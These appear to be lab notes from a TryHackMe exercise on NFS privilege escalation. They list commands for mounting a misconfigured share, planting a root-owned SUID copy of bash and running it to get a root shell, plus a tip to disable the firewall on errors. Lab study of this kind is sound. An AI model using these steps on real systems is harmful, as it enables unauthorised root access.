NFS

Attacker Machine
showmount -e 10.10.173.235
mkdir /tmp/attacker
sudo mount -o rw 10.10.166.100:/tmp /tmp/attacker

Victim Machine
cd /tmp
cp /bin/bash bash

Attacker Machine
sudo chown root:root bash
sudo chmod +sx bash

Victim Machine
./bash -p

sudo mount -t nfs 10.10.82.65:/home /tmp/attacker/

IF ERROR JUST DISABLE FIREWALL (ex. ufw, snitch)

Tryhackme - Network Services 2

sudo umount /tmp/attacker